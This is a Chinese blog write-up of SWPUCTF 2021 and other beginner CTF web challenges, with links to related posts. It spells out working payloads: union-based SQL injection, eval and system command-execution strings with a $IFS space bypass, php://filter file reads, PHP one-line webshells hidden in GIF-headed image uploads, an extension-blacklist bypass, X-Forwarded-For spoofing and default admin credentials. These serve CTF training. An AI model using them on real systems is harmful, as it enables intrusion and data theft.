NSSCTF WEB 题解(一)

[SWPUCTF 2021 新生赛]gift_F12

题目提示:F12

下发环境,打开网址,进入网页后

点击F12查看源代码

直接查找flag

可以得到flag

[SWPUCTF 2021 新生赛]jicao

[SWPUCTF 2021 新生赛]jicao-CSDN博客

进入环境后,得到一段php代码

代码审计:

包含了flag.php文件,设定了一个POST请求的id和GET请求的json

语句会对GET请求的数据进行json解码

如果id和json变量的值都等于设定字符串,打印flag

题解:

GET传参?json={"x":"wllm"}

POST传参 id=wllmNB

得到flag

[SWPUCTF 2021 新生赛]easy_md5

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easy_md5解析(科学计数法,md5数组绕过)_easymd5怎么解-CSDN博客

打开环境,得到代码如下

代码审计

输入name和password的值,只要他俩的值不一样,然后经过md5函数之后一样就能出flag。

所以我们需要md5绕过

需要md5编码后完全相同,但理论上除开故意设计,不会有两个值md5编码完全一样。所以想要有两个值不同但md5编码相同的值几乎没可能。但当两个值不同但是md5编码后为0e开头就不一样了,或者说是当第二位为e的时候就不一样了。

此时他们就不是比较md5编码是不是一模一样了,而是比较他们的值了,或者说从始至终都是比较他们的值,不过是开头为0e的时候,因为形成了php科学计数法的形式,此时无论0e后面是什么数他的值都是0了。所以只需找到两个md5编码为0e的字符串就行。

MD5编码后0e开头的字符串:

QNKCDZO(0e830400451993494058024219903391)

aabg7XSs(0e087386482136013740957780965295)

aaabEgHn(0e418636035810609803317995275027)

构造

GET传参:?name=QNKCDZO

POST传参:password=aabg7XSs

得到flag

[SWPUCTF 2021 新生赛]include

[SWPUCTF 2021 新生赛]include-CSDN博客

打开环境得到

根据提示,get传参 ?file=1

代码审计

看见allow_url_include 状态为on,想到了php伪协议,

用filter读取flag.php里面的信息构造

?file=php://filter/read=convert.base64-encode/resource=flag.php

PHP伪协议filter详解,php://filter协议过滤器_filter为协议-CSDN博客

得到一串编码

base解码后得到flag

[SWPUCTF 2021 新生赛]easy_sql

打开环境

传参输入:?wllm=1,回显正常

输入wllm=1',出现报错,可以判断为字符型漏洞。

1.查看字段列数

?wllm=-1' order by 3--+ 正常

?wllm=-1' order by 4--+ 报错,所以为3列.

2.查看回显

?wllm=-1' union select 1,2,3--+

3.查看数据库名

?wllm=-1' union select 1,2,database()--+

4.查看test_db库的表

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

5.查字段

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

6.查看flag字段的内容

?wllm= -1' union select 1,2,group_concat(id,flag) from test_tb--+

得到flag

[SWPUCTF 2021 新生赛]easyrce

[SWPUCTF 2021 新生赛]easyrce-解题思路-CSDN博客

打开环境,代码如下

代码审计

if判断语句,如果存在url变量则往下面执行eval函数,执行参数并且返回结果。

1.构造payload,并进行url地址重放:

?url=system("ls /");

2.使用cat命令查看flllllaaaaaaggggggg文件中的命令

?url=system("cat /flllllaaaaaaggggggg");

需注意的是文件在/根目录下

得到flag

[SWPUCTF 2021 新生赛]caidao

打开环境

题目名为:caidao菜刀,连接工具。蚁剑也可以进行连接

观察页面,图片上有代码

@eval($_POST['wllm']); 为一句话木马,后端控制

使用蚁剑,添加数据,密码为wllm

连接成功后,在根目录下可以找到flag

得到flag

[SWPUCTF 2021 新生赛]Do_you_know_http

打开环境

提示说:使用"WLLM"浏览器打开

使用bp更改浏览器信息

打开代理,刷新页面,使用bp抓包

发送到重放器后进行修改

发包后发现是302重定向,但是提示说success成功

那就直接在页面处修改放包

放包后得到

页面提示,说只能在本地访问,并且给出了现在的ip地址

必须以本地IP访问这个页面。代表本地的IP是127.0.0.1

提到IP,那我们可以继续抓包后修改XFF的值

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

也就是说,我们需要借助X-Forwaeded-For来伪装我们的IP为127.0.0.1

虽然数据包没有XFF字段,可以自行添加

在Host的下面添加

X-Forwarded-For: 127.0.0.1

在重放器内发送,却显示302重定向

那么直接在代理里面修改,在网页上发包

得到flag

[SWPUCTF 2021 新生赛]babyrce

NSSCTF | [SWPUCTF 2021 新生赛]babyrce-CSDN博客

[SWPUCTF 2021 新生赛]babyrce(详解)-CSDN博客

打开环境,代码如下

代码审计:

只要cookie值admin等于1时,就能包含文件

使用hackbar直接cookie

访问rasalghul.php文件

代码审计

接受来自 URL 查询参数的输入,并试图在 shell 命令行中执行该输入。不过,如果输入包含空格,则执行会被中断。

先尝试ls

rasalghul.php?url=ls

ls命令是有作用的,所以我们只要能绕过空格限制,就能够执行我们想要执行的所有命令,相当于已经获得了管理员的权限

空格绕过RCE漏洞详解及绕过总结(全面)-CSDN博客

可以使用$IFS来代替空格

rasalghul.php?url=ls$IFS/

可以看到很显眼的flag文件,直接使用cat命令查看

rasalghul.php?url=cat$IFS/flllllaaaaaaggggggg

得到flag

此题修改cookie的时候,应该也可以使用bp进行修改

[SWPUCTF 2021 新生赛]ez_unserialize

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]ez_unserialize解析(反序列化修改属性)_ezunserialize-CSDN博客

[SWPUCTF 2021 新生赛] ez_unserialize_ctf ezunserialize 空白页-CSDN博客

打开环境,网页为一个动图

查看源代码

查看robots.txt

找到一个路径 /cl45s.php,进行访问

后面就不会了,看大佬的脚本

/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

传参后得到flag

[SWPUCTF 2021 新生赛]easyupload1.0

打开环境

题目也可以读出来,简单的文件上传漏洞

上传一句话木马文件,发现无法上传

查看源代码

上传一句话木马图片文件

a.jpg

GIF89a
<?=eval($_POST["b"]);?>

使用bp进行抓包

发送到重放器进行修改

放包后,浏览页面,发现上传成功

使用蚁剑进行连接

在目录下找到flag

提交后,竟然不对,可恶,被耍了

看了其他大佬的wp才知道,需要查看phpinfo

直接上传.php文件上传不了

上传phpinfo.png文件

<?php
phpinfo();
?>

使用bp抓包修改

修改为

放包后,上传成功,

访问

ctrl+f进行查找,查找关键词flag

找到正确的flag

[SWPUCTF 2021 新生赛]easyupload2.0

打开环境

文件上传1.0的升级版

直接上传.php文件,发现不行

上传一句话木马a.jpg图片文件

GIF89a
<?=eval($_POST["b"]);?>

使用Burpsuite抓包,只修改filename后发现也不能绕过

说明服务器使用了黑名单后缀限制,那么可以使用其他的后缀代替php,

比如这里使用的.phtml,.pht

抓包修改后

放包,成功访问

使用蚁剑进行连接

目录下找到flag

[第五空间 2021]WebFTP

打开环境

有一个登录界面

[第五空间 2021] Web题解_[第五空间 2021]webftp-CSDN博客

查看题解,大佬说:

网站管理工具WebFTP2011,上网搜索WebFTP,可以在github中找到这个项目,从README中获取初始用户名和密码

初始账号 超级管理员 admin 密码 admin888

成功登陆后寻找服务器的网站目录,随便翻看有无可疑文件,最后在phpinfo中找到flag

[第五空间 2021]WebFTP-CSDN博客

或者

[第五空间 2021]WebFTP-CSDN博客

直接传参,查看phpinfo页面

ctrl+f进行快速搜索,找到flag

[LitCTF 2023]PHP是世界上最好的语言!!

[LitCTF 2023]PHP是世界上最好的语言!!_[litctf 2023]php是世界上最好的语言!!-CSDN博客

打开环境

发现左边有个输入框,右边输入框下有 RUN CODE字样,猜测可以执行命令。

进行尝试

<?php print("hello world"); ?>

测试成功

查看根目录下的文件

<?php system("ls"); ?>
<?php system("ls ../../../"); ?>

发现flag文件夹

<?php system("cat /flag"); ?>

使用命令查看,得到flag

相关推荐
轻口味36 分钟前
【每日学点鸿蒙知识】AVCodec、SmartPerf工具、web组件加载、监听键盘的显示隐藏、Asset Store Kit
前端·华为·harmonyos
alikami39 分钟前
【若依】用 post 请求传 json 格式的数据下载文件
前端·javascript·json
吃杠碰小鸡1 小时前
lodash常用函数
前端·javascript
emoji1111111 小时前
前端对页面数据进行缓存
开发语言·前端·javascript
泰伦闲鱼1 小时前
nestjs:GET REQUEST 缓存问题
服务器·前端·缓存·node.js·nestjs
m0_748250031 小时前
Web 第一次作业 初探html 使用VSCode工具开发
前端·html
一个处女座的程序猿O(∩_∩)O2 小时前
vue3 如何使用 mounted
前端·javascript·vue.js
m0_748235952 小时前
web复习(三)
前端
AiFlutter2 小时前
Flutter-底部分享弹窗(showModalBottomSheet)
java·前端·flutter
麦兜*2 小时前
轮播图带详情插件、uniApp插件
前端·javascript·uni-app·vue